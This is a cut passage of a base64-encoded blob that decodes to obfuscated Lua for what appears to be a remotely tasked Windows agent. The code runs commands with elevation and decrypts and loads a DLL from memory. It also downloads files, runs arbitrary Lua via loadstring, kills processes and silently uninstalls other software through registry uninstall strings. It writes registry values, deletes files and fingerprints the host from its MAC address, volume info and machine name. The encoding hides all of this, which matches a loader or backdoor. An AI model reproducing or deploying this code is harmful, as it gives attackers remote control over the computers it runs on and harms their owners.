RVJTSU9OIiwiJSVzIik7CmU9c3RyaW5nLmZvcm1hdChlLHQpOwplbmQKZWxzZWlmIHN0cmluZy5m
aW5kKGEsIiRPUFRJT05TIil0aGVuCmxvY2FsIG89KENoZWNrQXJnKWFuZCBDaGVja0FyZygib3B0
aW9ucyIpb3IiIjsKbG9jYWwgYT1zdHJpbmcubWF0Y2goYSwiT1BUSU9OUyglZCspIik7CmlmIGF+
PW5pbCB0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRWxlbWVudDogJXMiLGEpKTsKZT1zdHJp
bmcuZ3N1YihlLCIlJE9QVElPTlMiLi5hLCIlJXMiKTsKZT1zdHJpbmcuZm9ybWF0KGUsbzpzdWIo
YSxhKSk7CmVsc2UKZT1zdHJpbmcuZ3N1YihlLCIlJE9QVElPTlMiLCIlJXMiKTsKZT1zdHJpbmcu
Zm9ybWF0KGUsbyk7CmVuZAplbHNlaWYgc3RyaW5nLmZpbmQoYSwiJFBST0RVQ1QiKXRoZW4KbG9j
YWwgdD0oQ2hlY2tBcmcpYW5kIENoZWNrQXJnKCJvcHRpb25zIilvciIiOwpsb2NhbCB0PXN0cmlu
Zy5mb3JtYXQoIiVzIix0OnN1Yig4LDEwKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRQUk9EVUNUIix0
KTsKZWxzZWlmIHN0cmluZy5maW5kKGEsIiRJczY0Qml0Iil0aGVuCmxvY2FsIGE9KElzNjRCaXQo
KT09dHJ1ZSlhbmQiNjQib3IiMzIiOwp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIklzNjRCaXQ6ICVz
IixhKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRJczY0Qml0IixhKTsKdC5kZWJ1ZyhlKTsKZWxzZWlm
IHN0cmluZy5maW5kKGEsIiRSQU5EIil0aGVuCmxvY2FsIGE9c3RyaW5nLm1hdGNoKGEsIlJBTkQo
LispIik7Cm1hdGgucmFuZG9tc2VlZChvcy50aW1lKCkpOwplPXRvc3RyaW5nKG1hdGgucmFuZG9t
KDEsMTAwKSk7CmlmIGF+PW5pbCB0aGVuCmlmIHN0cmluZy5maW5kKGEsIiwiKXRoZW4KbG9jYWwg
dD10LnNwbGl0KGEsIiwiKTsKaWYgdFsxXX49bmlsIHRoZW4KaWYgdG9udW1iZXIodFsxXSk+dG9u
dW1iZXIodFsyXSl0aGVuCnRbMV09MQplbmQKZT10b3N0cmluZyhtYXRoLnJhbmRvbSh0b251bWJl
cih0WzFdKSx0b251bWJlcih0WzJdKSkpOwplbmQKZW5kCmVuZAp0LmRlYnVnKHN0cmluZy5mb3Jt
YXQoIlJhbmRvbTogJXMiLGUpKTsKZWxzZQpzPWZhbHNlOwplbmQKYT1lOwplbmQKZT0odHJpbSlh
bmQgdHJpbShlKW9yIHQudHJpbShlKTsKcmV0dXJuIGU7CmVuZApmdW5jdGlvbiB0LmNvbW1hbmQo
ZSkKbG9jYWwgbz1mYWxzZTsKaWYgZVsidHh0Y21kIl09PSJJZiJ0aGVuCmxvY2FsIGE9dC5jdXN0
b21zKGVbInR4dFdoYXQiXSk7CmlmIGVbInR4dGRvIl09PSJGaWxlInRoZW4KZHdSZXN1bHQsdEZp
bGVJbmZvPUZpbmRGaXJzdEZpbGUoYSk7CmlmIGR3UmVzdWx0fj0wIHRoZW4KZVsicmVzdWx0Il09
KGVbInR4dFdoYXRJZiJdPT0iRXhpc3RzIilhbmQiMSJvciIwIjsKZWxzZQplWyJyZXN1bHQiXT0o
ZVsidHh0V2hhdElmIl09PSJOb3QgRXhpc3RzIilhbmQiMSJvciIwIjsKZW5kCmlmIGR3UmVzdWx0
PjAgdGhlbgpGaW5kQ2xvc2UoZHdSZXN1bHQpOwplbmQKZWxzZWlmIGVbInR4dGRvIl09PSJSZWdp
c3RyeSJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiUmVnaXN0cnk6ICVzIixhKSk7CmxvY2Fs
IG89dC5zcGxpdChhLCIsIik7CmlmIHczMltvWzFdXX49bmlsIHRoZW4KaWYgb1szXX49bmlsIHRo
ZW4KbG9jYWwgYT1SZWdRdWVyeVZhbHVlRXgodzMyW29bMV1dLG9bMl0sb1szXSk7CmE9KGF+PW5p
bClhbmQgdC5jdXN0b21zKGEpb3IgbmlsOwppZiBlWyJ0eHRXaGF0SWYiXT09IkVxdWFscyJhbmQg
b1s1XX49bmlsIGFuZCBhfj1uaWwgdGhlbgppZiBhPT1vWzVddGhlbgplWyJyZXN1bHQiXT0iMSI7
CmVuZAplbHNlaWYgZVsidHh0V2hhdElmIl09PSJFeGlzdHMiYW5kIGF+PW5pbCB0aGVuCmVbInJl
c3VsdCJdPSIxIjsKZWxzZWlmIGVbInR4dFdoYXRJZiJdPT0iTm90IEV4aXN0cyJhbmQgYT09bmls
IHRoZW4KZVsicmVzdWx0Il09IjEiOwplbmQKZW5kCmVsc2UKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0
KCJSZWdpc3RyeSBFcnJvciAlcyAlcyIsZVsidHh0V2hhdElmIl0sYSkpOwplbmQKZWxzZWlmIGVb
InR4dGRvIl09PSJDb21tYW5kInRoZW4KbG9jYWwgYT10LnNwbGl0KGEsIiwiKTsKaWYgYVsyXX49
bmlsIHRoZW4KbG9jYWwgbz0oaVt0b251bWJlcihhWzFdKV0pYW5kIGlbdG9udW1iZXIoYVsxXSld
b3IgaVthWzFdXTsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJDb21tYW5kICMlczogJXMgJXMgJXMi
LGFbMV0sbyxlWyJ0eHRXaGF0SWYiXSxhWzJdKSk7CmlmIGVbInR4dFdoYXRJZiJdPT0iQ29udGFp
bnMidGhlbgppZiBzdHJpbmcuZmluZChzdHJpbmcudXBwZXIobyksc3RyaW5nLnVwcGVyKGFbMl0p
KXRoZW4KZVsicmVzdWx0Il09IjEiOwplbHNlCmVbInJlc3VsdCJdPSIwIjsKZW5kCmVsc2UKaWYg
bz09YVsyXXRoZW4KZVsicmVzdWx0Il09KGVbInR4dFdoYXRJZiJdPT0iRXF1YWxzIilhbmQiMSJv
ciIwIjsKZWxzZQplWyJyZXN1bHQiXT0oZVsidHh0V2hhdElmIl09PSJOb3QgRXF1YWxzIilhbmQi
MSJvciIwIjsKZW5kCmVuZAplbHNlCmVbInJlc3VsdCJdPSIwIjsKZW5kCmVsc2VpZiBlWyJ0eHRk
byJdPT0iVmFyaWFibGUidGhlbgpsb2NhbCBhPXQuc3BsaXQoYSwiLCIpOwplWyJyZXN1bHQiXT0i
MCI7CmlmIGFbMl1+PW5pbCB0aGVuCnNTRz0oQ2hlY2tBcmcpYW5kIENoZWNrQXJnKCJzb3VyY2Ui
KW9yIiI7CmlmIGFbMV09PSJVc2VyIEdVSUQidGhlbgpzU0c9R2V0VXNlckd1aWQoKTsKc1NHPXN0
cmluZy51cHBlcihzdHJpbmcuZm9ybWF0KCIlcy0lcy0lcy0lcy0lcyIsc1NHOnN1YigxLDgpLHNT
RzpzdWIoOSwxMiksc1NHOnN1YigxMywxNiksc1NHOnN1YigxNywyMCksc1NHOnN1YigyMSkpKTsK
ZWxzZWlmIGFbMV09PSJWZXJzaW9uInRoZW4KaWYgR2V0VmVyc2lvbn49bmlsIHRoZW4Kc1NHPXRv
c3RyaW5nKEdldFZlcnNpb24oKSk7CmVuZAplbHNlaWYgYVsxXT09IklzNjRCaXQidGhlbgppZiBJ
czY0Qml0fj1uaWwgdGhlbgpzU0c9dG9zdHJpbmcoSXM2NEJpdCgpKTsKZW5kCmVsc2VpZiBzdHJp
bmcuZmluZChhWzFdLCJPcHRpb25zIil0aGVuCnNTRz10LmN1c3RvbXMoIiQiLi5zdHJpbmcudXBw
ZXIoYVsxXSkpOwplbmQKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJWYXJpYWJsZSAlcyAoJXMpID0g
JXMiLGFbMV0sc1NHLGFbMl0pKTsKaWYgZVsidHh0V2hhdElmIl09PSJDb250YWlucyJ0aGVuCmlm
IHN0cmluZy5maW5kKHNTRyxhWzJdKXRoZW4KZVsicmVzdWx0Il09IjEiOwplbmQKZWxzZQppZiBz
U0c9PWFbMl10aGVuCmVbInJlc3VsdCJdPShlWyJ0eHRXaGF0SWYiXT09IkVxdWFscyIpYW5kIjEi
b3IiMCI7CmVsc2UKZVsicmVzdWx0Il09KGVbInR4dFdoYXRJZiJdPT0iTm90IEVxdWFscyIpYW5k
IjEib3IiMCI7CmVuZAplbmQKZW5kCmVsc2VpZiBlWyJ0eHRkbyJdPT0iUHJvY2VzcyJ0aGVuCmlm
IElzUHJvY2Vzc1J1bm5pbmcoYSxmYWxzZSl0aGVuCmVbInJlc3VsdCJdPSIxIjsKZWxzZQplWyJy
ZXN1bHQiXT0iMCI7CmVuZAplbHNlaWYgZVsidHh0ZG8iXT09Ikluc3RhbGxlZCJ0aGVuCmxvY2Fs
IHQ9e307CnRbMV09IlNPRlRXQVJFXFxXb3c2NDMyTm9kZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxD
dXJyZW50VmVyc2lvblxcVW5pbnN0YWxsIjsKdFsyXT0iU09GVFdBUkVcXE1pY3Jvc29mdFxcV2lu
ZG93c1xcQ3VycmVudFZlcnNpb25cXFVuaW5zdGFsbCI7CmVbInJlc3VsdCJdPSIwIjsKZVsic3Rh
dHVzIl09IjAiOwpmb3Igbyx0IGluIHBhaXJzKHQpZG8KbG9jYWwgbz1SZWdFbnVtS2V5RXgodzMy
WyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSx0KTsKaWYgdHlwZShvKT09InRhYmxlInRoZW4KZm9yIGks
byBpbiBwYWlycyhvKWRvCmxvY2FsIGk9UmVnRW51bVZhbHVlKHczMlsiSEtFWV9MT0NBTF9NQUNI
SU5FIl0sdC4uIlxcIi4ubyk7CmlmIHR5cGUoaSk9PSJ0YWJsZSJ0aGVuCmZvciBuLGkgaW4gcGFp
cnMoaSlkbwppZiBpPT0iRGlzcGxheU5hbWUidGhlbgpsb2NhbCB0PVJlZ1F1ZXJ5VmFsdWVFeCh3
MzJbIkhLRVlfTE9DQUxfTUFDSElORSJdLHQuLiJcXCIuLm8saSk7CnQ9c3RyaW5nLmxvd2VyKHQ6
Z3N1YigiICIsIiIpKTsKYT1zdHJpbmcubG93ZXIoYTpnc3ViKCIgIiwiIikpOwppZiBzdHJpbmcu
ZmluZCh0LGEpdGhlbgplWyJyZXN1bHQiXT0iMSI7CmVbInN0YXR1cyJdPSIxIjsKYnJlYWs7CmVu
ZAplbmQKZW5kCmVuZAplbmQKZW5kCmVuZAplbmQKbz10cnVlOwppZiBlWyJyZXN1bHQiXT09IjEi
dGhlbgppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iU3RvcCJ0aGVuCnQuZGVidWcoIlRoZW4gU2F0aXNm
aWVkLCBTdG9wcGluZyIpOwplWyJzdGF0dXMiXT0iMCI7Cm89ZmFsc2U7CmVsc2VpZiBlWyJ0eHRX
aGF0VGhlbiJdPT0iR290byJ0aGVuCnQuZGVidWcoIlRoZW4gU2F0aXNmaWVkLCBHb2luZyB0byAi
KTsKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJDb250aW51ZSJ0aGVuCnQuZGVidWcoIlRoZW4g
U2F0aXNmaWVkLCBDb250aW51aW5nIik7CmVuZAplbHNlCmlmIGVbInR4dFdoYXRFbHNlIl09PSJT
dG9wInRoZW4KdC5kZWJ1ZygiRWxzZSBTYXRpc2ZpZWQsIFN0b3BwaW5nIik7CmVbInN0YXR1cyJd
PSIwIjsKbz1mYWxzZTsKZWxzZWlmIGVbInR4dFdoYXRFbHNlIl09PSJHb3RvInRoZW4KZVsic3Rh
dHVzIl09IjEiOwp0LmRlYnVnKCJFbHNlIFNhdGlzZmllZCwgR29pbmcgdG8gIik7CmVsc2VpZiBl
WyJ0eHRXaGF0RWxzZSJdPT0iQ29udGludWUidGhlbgplWyJzdGF0dXMiXT0iMSI7CnQuZGVidWco
IkVsc2UgU2F0aXNmaWVkLCBDb250aW51aW5nIik7CmVuZAplbmQKZW5kCmlmIGVbInR4dGNtZCJd
PT0iRG8idGhlbgpsb2NhbCBhPXQuY3VzdG9tcyhlWyJ0eHRXaGF0Il0pOwppZiBlWyJ0eHRkbyJd
PT0iRXhlY3V0ZSJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRXhlY3V0aW5nOiAlcyB3aXRo
ICVzIixhLGVbInR4dFdoYXRUaGVuIl0pKTsKaWYgZVsidHh0V2hhdFRoZW4iXT09IkxvY2FsIFN5
c3RlbSJ0aGVuCnQuZXhlY3V0ZShhKTsKZWxzZQppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iSW1wZXJz
b25hdGlvbiBhbmQgRWxldmF0aW9uInRoZW4KdC5leGVjdXRlKGEsdHJ1ZSx0cnVlKTsKZWxzZQp0
LmV4ZWN1dGUoYSx0cnVlLGZhbHNlKTsKZW5kCmVuZApvPXRydWU7CmVbInN0YXR1cyJdPSIxIjsK
ZVsiZGF0ZSJdPW9zLnRpbWUoKTsKZVsicmVzdWx0Il09IjEiOwplbHNlaWYgZVsidHh0ZG8iXT09
IkRMTCJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRExMIFNpemU6ICVzIHZpYSAlcyIsc3Ry
aW5nLmxlbihhKSxlWyJ0eHRXaGF0VGhlbiJdKSk7CmlmIGVbInR4dFdoYXRUaGVuIl09PSJNZW1v
cnkidGhlbgphPUVuY3J5cHQoYSwiYzIyZGY3MTQ2YjU0NGI1ZGFjYWNmYWJmMzdiZmQyNjRiZmIw
Zjg5NTNlMTQ0NDZhYmIwYjE5OGRmNDU0YzllYyIpOwpMb2FkRnJvbU1lbW9yeShhKTsKZW5kCm89
dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT0i
MSI7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iRmlsZSJ0aGVuCmlmIGVbInR4dFdoYXRUaGVuIl09PSJE
ZWxldGUidGhlbgppZiBEZWxldGVGaWxlKGEpdGhlbgplWyJyZXN1bHQiXT0iZmlsZSBkZWxldGVk
IjsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHN1Y2Nlc3NmdWxseSIsYSkpOwpl
bmQKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJSZWFkInRoZW4KY29udGVudHM9dC5yZWFkZmls
ZShhKTsKaWYgY29udGVudHMgdGhlbgppZiBlWyJ0eHRXaGF0RWxzZSJdPT0iYXMgUHJvY2Vzc2xp
c3QidGhlbgpsaW5lcz10LnNwbGl0KGNvbnRlbnRzLCJcclxuIik7CmRhdGE9e30KZm9yIG8sYSBp
biBpcGFpcnMobGluZXMpZG8KY3N2PXQuc3BsaXQoYSwiLCIpOwppZiBjc3ZbM110aGVuCmRhdGE9
c3RyaW5nLmZvcm1hdCgneyJuYW1lIjolcywidHlwZSI6JXN9Jyxjc3ZbMV0sY3N2WzNdKTsKZVsi
cmVzdWx0Il09KGVbInJlc3VsdCJdKWFuZCBlWyJyZXN1bHQiXS4uIiwiLi5kYXRhIG9yIGRhdGE7
CmVuZAplbmQKZW5kCmVuZAppZiBub3QgZVsicmVzdWx0Il10aGVuCmVbInJlc3VsdCJdPSJlcnJv
ciByZWFkaW5nIGZpbGUiCmVsc2UKZVsicmVzdWx0Il09IlsiLi5lWyJyZXN1bHQiXS4uIl0iOwpl
bmQKZW5kCm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNl
aWYgZVsidHh0ZG8iXT09IlRlcm1pbmF0ZSJ0aGVuCmlmIElzUHJvY2Vzc1J1bm5pbmcoYSx0cnVl
KXRoZW4KdC5kZWJ1ZygiVGVybWluYXRpbmc6ICIuLmEpOwplWyJyZXN1bHQiXT0iMSI7CmVsc2UK
dC5kZWJ1ZygiRmFpbGVkIHRvIFRlcm1pbmF0ZTogIi4uYSk7CmVbInJlc3VsdCJdPSIwIjsKZW5k
Cm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNlaWYgZVsi
dHh0ZG8iXT09IlVuaW5zdGFsbCJ0aGVuCmxvY2FsIG89e307Cm9bMV09IlNPRlRXQVJFXFxXb3c2
NDMyTm9kZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcVW5pbnN0YWxsIjsK
b1syXT0iU09GVFdBUkVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXFVuaW5z
dGFsbCI7CmVbInJlc3VsdCJdPSIwIjsKZm9yIG8saSBpbiBwYWlycyhvKWRvCmxvY2FsIG89UmVn
RW51bUtleUV4KHczMlsiSEtFWV9MT0NBTF9NQUNISU5FIl0saSk7CmlmIHR5cGUobyk9PSJ0YWJs
ZSJ0aGVuCmZvciBvLG4gaW4gcGFpcnMobylkbwpsb2NhbCBvPVJlZ0VudW1WYWx1ZSh3MzJbIkhL
RVlfTE9DQUxfTUFDSElORSJdLGkuLiJcXCIuLm4pOwppZiB0eXBlKG8pPT0idGFibGUidGhlbgpm
b3IgcyxvIGluIHBhaXJzKG8pZG8KaWYgbz09IkRpc3BsYXlOYW1lInRoZW4KbG9jYWwgbz1SZWdR
dWVyeVZhbHVlRXgodzMyWyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSxpLi4iXFwiLi5uLG8pOwppZiBz
dHJpbmcuZmluZChvLGEpdGhlbgpvPVJlZ1F1ZXJ5VmFsdWVFeCh3MzJbIkhLRVlfTE9DQUxfTUFD
SElORSJdLGkuLiJcXCIuLm4sIlVuaW5zdGFsbFN0cmluZyIpOwppZiBlWyJ0eHRXaGF0VGhlbiJd
fj1uaWwgdGhlbgpsb2NhbCBlPXN0cmluZy5mb3JtYXQoIiVzICVzIix0cmltKG8pLGVbInR4dFdo
YXRUaGVuIl0pOwpvPWU7CmVuZAp0LmRlYnVnKCJVbmluc3RhbGxpbmc6ICIuLm8pOwp0LmV4ZWN1
dGUobyx0cnVlKTsKZVsicmVzdWx0Il09IjEiOwpicmVhazsKZW5kCmVuZAplbmQKZW5kCmVuZApl
bmQKZW5kCmVbInN0YXR1cyJdPSIxIjsKZVsiZGF0ZSJdPW9zLnRpbWUoKTsKZWxzZWlmIGVbInR4
dGRvIl09PSJXYWl0InRoZW4KbG9jYWwgYT10b251bWJlcihhKTsKaWYgYT09bmlsIHRoZW4KYT0x
MDsKZW5kCmVbInR4dFdoYXQiXT1hOwplWyJyZXN1bHQiXT0oZVsicmVzdWx0Il09PW5pbCBvciBl
WyJyZXN1bHQiXT09IiIpYW5kIG9zLnRpbWUoKW9yIGVbInJlc3VsdCJdOwppZiBlWyJ0eHRXaGF0
VGhlbiJdPT0iTWludXRlcyJ0aGVuCmE9YSo2MDsKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJI
b3VycyJ0aGVuCmE9YSozNjAwOwplbHNlaWYgZVsidHh0V2hhdFRoZW4iXT09IkRheXMidGhlbgph
PWEqODY0MDA7CmVsc2UKaWYgYTwzMCB0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiV2FpdGlu
ZzogJXMiLGEpKTsKaWYgU2xlZXAgdGhlbgpTbGVlcCgoYSsxKSoxZTMpOwplbHNlCnQuc2xlZXAo
KGErMSkqMWUzKTsKZW5kCmVuZAplbmQKbG9jYWwgaT1vcy50aW1lKCktdG9udW1iZXIoZVsicmVz
dWx0Il0pOwppZiBpPmEgdGhlbgplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7
Cm89dHJ1ZTsKZWxzZQp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIldhaXRpbmcgJXMgd2l0aCAlcyBy
ZW1haW5pbmciLGEsKGEtaSkpKTsKZW5kCmVsc2VpZiBlWyJ0eHRkbyJdPT0iUGluZyJ0aGVuCmE9
YTpnc3ViKCIgIiwiKyIpOwppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iUE9TVCJ0aGVuCmxvY2FsIGU9
c3RyaW5nLmZpbmQoYSwiPyIpOwppZiBlIHRoZW4KbG9jYWwgbz1hOnN1YihlKzEsI2EpOwphPWE6
c3ViKDEsZS0xKTsKdC5kZWJ1ZygiUGluZ2luZyAiLi5hLi4iIHdpdGg6ICIuLm8pOwpuPXMucmVx
dWVzdChhLG8pOwplbmQKZWxzZQp0LmRlYnVnKCJQaW5naW5nOiAiLi5hKTsKbj1zLnJlcXVlc3Qo
YSk7CmVuZApuPXRyaW0odG9zdHJpbmcobikpOwp0LmRlYnVnKCJQaW5nIHJlc3VsdDogIi4ubik7
Cm89dHJ1ZTsKZVsicmVzdWx0Il09bjsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGlt
ZSgpOwplbHNlaWYgZVsidHh0ZG8iXT09IlNlcnZpY2UidGhlbgpsb2NhbCB0PXQucXVlcnlzZXJ2
aWNlKGEsNCk7CmVbInJlc3VsdCJdPSIiOwppZiB0IHRoZW4KZVsicmVzdWx0Il09dDsKZW5kCm89
dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNlaWYgZVsidHh0
ZG8iXT09IkRlYnVnInRoZW4KdC5kZWJ1ZyhhKTsKbz10cnVlOwplWyJzdGF0dXMiXT0iMCI7CmVb
ImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iRFhEaWFnInRoZW4KbG9jYWwg
YT10LmR4ZGlhZyhhLGVbInR4dFdoYXRUaGVuIl0pOwplWyJyZXN1bHQiXT0iIjsKaWYgYX49bmls
IHRoZW4KaWYgYVtzdHJpbmcubG93ZXIoZVsidHh0V2hhdEVsc2UiXSldfj1uaWwgdGhlbgplWyJy
ZXN1bHQiXT1hW3N0cmluZy5sb3dlcihlWyJ0eHRXaGF0RWxzZSJdKV07CnQuZGVidWcoc3RyaW5n
LmZvcm1hdCgiRFhEaWFnIFJlc3VsdDogJXMiLGVbInJlc3VsdCJdKSk7CmVuZAplbmQKbz10cnVl
OwplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJd
PT0iRG93bmxvYWQidGhlbgpsb2NhbCBpPXQuY3VzdG9tcyhlWyJ0eHRXaGF0VGhlbiJdKTsKaWYg
aX49IiJ0aGVuCmxvY2FsIG49dC5maWxlcGFydHMoaSk7CmlmIG5+PW5pbCB0aGVuCkNyZWF0ZURp
cmVjdG9yeShuKTsKZW5kCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgJXMgdG8gJXMi
LGEsaSkpOwplWyJzdGF0dXMiXT0iMSI7CmlmIHQuZ2V0YnlodHRwKGEsaSl0aGVuCnQuZGVidWco
c3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgc3VjY2Vzc2Z1bCIsYSkpOwpvPXRydWU7CmVb
ImRhdGUiXT1vcy50aW1lKCk7CmVbInJlc3VsdCJdPSIxIjsKZWxzZQplWyJyZXN1bHQiXT0iMCI7
CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgdW5zdWNjZXNzZnVsIixhKSk7
CmVuZAplbHNlCmxvY2FsIGksbj10LmdldGJ5aHR0cChhKTsKaWYgaSB0aGVuCnQuZGVidWcoc3Ry
aW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgdG8gbWVtb3J5IHN1Y2Nlc3NmdWwiLGEpKTsKbz10
cnVlOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT1uOwplWyJzdGF0dXMiXT0iMSI7
CmVuZAplbmQKZWxzZWlmIGVbInR4dGRvIl09PSJEaXJlY3RvcnkidGhlbgppZiBDcmVhdGVEaXJl
Y3RvcnkoYSl+PTAgdGhlbgplWyJyZXN1bHQiXT0iMCI7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgi
RGlyZWN0b3J5ICVzIGNyZWF0ZWQgc3VjY2Vzc2Z1bGx5IixhKSk7CmVsc2UKZVsicmVzdWx0Il09
R2V0TGFzdEVycm9yKCk7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRGlyZWN0b3J5ICVzIGNyZWF0
ZWQgdW5zdWNjZXNzZnVsbHkgKCVzKSIsYSxHZXRMYXN0RXJyb3IoKSkpOwplbmQKbz10cnVlOwpl
WyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0i
RGVsZXRlIEZpbGUidGhlbgp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIkF0dGVtcHRpbmcgdG8gZGVs
ZXRlICVzIixhKSk7CmlmIERlbGV0ZUZpbGUoYSl0aGVuCmVbInJlc3VsdCJdPSIxIjsKdC5kZWJ1
ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHN1Y2Nlc3NmdWxseSIsYSkpOwplbHNlCmVbInJl
c3VsdCJdPSIwIjsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHVuc3VjY2Vzc2Z1
bGx5IixhKSk7CmVuZApvPXRydWU7CmVbInN0YXR1cyJdPSIxIjsKZVsiZGF0ZSJdPW9zLnRpbWUo
KTsKZWxzZWlmIGVbInR4dGRvIl09PSJSZWdpc3RyeSJ0aGVuCmxvY2FsIGk9dC5zcGxpdChhLCIs
Iik7CmVbInJlc3VsdCJdPSIwIjsKaWYgdzMyW2lbMV1dfj1uaWwgdGhlbgppZiBlWyJ0eHRXaGF0
VGhlbiJdPT0iV3JpdGUgVmFsdWUidGhlbgpsb2NhbCBvPShpWzRdPT0iZCIpYW5kIHRvbnVtYmVy
KGlbNV0pb3IgaVs1XTsKaWYgUmVnU2V0VmFsdWVFeCh3MzJbaVsxXV0saVsyXSxpWzNdLG8pdGhl
bgplWyJyZXN1bHQiXT0iMSI7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiUmVnaXN0cnkgJXMgJXMg
PSAlcyBTdWNjZXNzIixlWyJ0eHRXaGF0VGhlbiJdLGEsbykpOwplbHNlCnQuZGVidWcoc3RyaW5n
LmZvcm1hdCgiUmVnaXN0cnkgJXMgJXMgPSAlcyBGYWlsdXJlIixlWyJ0eHRXaGF0VGhlbiJdLGEs
bykpOwplbmQKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJRdWVyeSBWYWx1ZSJ0aGVuCmxvY2Fs
IG89UmVnUXVlcnlWYWx1ZUV4KHczMltpWzFdXSxpWzJdLGlbM10pOwppZiBvIHRoZW4KZVsicmVz
dWx0Il09bzsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJSZWdpc3RyeSBWYWx1ZTogJXMiLG8pKTsK
ZWxzZQp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIlJlZ2lzdHJ5IEVycm9yICVzICVzICVzIixHZXRM
YXN0RXJyb3IoKSxlWyJ0eHRXaGF0VGhlbiJdLGEpKTsKZW5kCmVuZAplbHNlCnQuZGVidWcoc3Ry
aW5nLmZvcm1hdCgiUmVnaXN0cnkgRXJyb3IgJXMgJXMiLGVbInR4dFdoYXRUaGVuIl0sYSkpOwpl
bmQKbz10cnVlOwplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVuZAplbmQK
aWYgZVsidHh0Y21kIl09PSJXaWxmb3JkInRoZW4KbG9jYWwgYT10LmN1c3RvbXMoZVsidHh0V2hh
dCJdKTsKaWYgZVsidHh0ZG8iXT09IlJ1biJ0aGVuCmxvY2FsIHQ9bG9hZHN0cmluZyhhKTsKaWYg
dHlwZSh0KT09ImZ1bmN0aW9uInRoZW4KZVsicmVzdWx0Il09dCgpOwplbmQKbz10cnVlOwplWyJz
dGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iSW5j
bHVkZSJ0aGVuCmVbInJlc3VsdCJdPWE7Cm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRl
Il09b3MudGltZSgpOwplbHNlCmVbInN0YXR1cyJdPSIwIjsKZW5kCmVuZApyZXR1cm4gZSxvOwpl
bmQKZnVuY3Rpb24gdC51c2VyZ3VpZCgpCmxvY2FsIGU9R2V0Vm9sdW1lSW5mb3JtYXRpb24oKTsK
bG9jYWwgYT1HZXRNQUNBZGRyZXNzKCk7CmxvY2FsIHQ9R2V0VGhlTWFjaGluZU5hbWUoKTsKbG9j
YWwgZT1HZXRNRDVTdHJpbmcoc3RyaW5nLmZvcm1hdCgiJXM6JXM6JXMiLHRvc3RyaW5nKGUpLHRv
c3RyaW5nKGEpLHRvc3RyaW5nKHQpKSk7CmlmIGU9PW5pbCB0aGVuCmU9R2V0TUQ1U3RyaW5nKEdl
dEN1cnJlbnRVc2VyU2lkKCkpOwplbmQKcmV0dXJuIHN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVz
LSVzIixlOnN1YigxLDgpLGU6c3ViKDksMTIpLGU6c3ViKDEzLDE2KSxlOnN1YigxNywyMCksZTpz
dWIoMjEpKTsKZW5kCmZ1bmN0aW9uIHQuc2F2ZWRiKGUpCmU9KEVuY3J5cHQpYW5kIEVuY3J5cHQo
ZSwibGFxdWFuZGEgd2F0a2lucyIpb3IgdC5lbmNyeXB0KGUsImxhcXVhbmRhIHdhdGtpbnMiKTsK
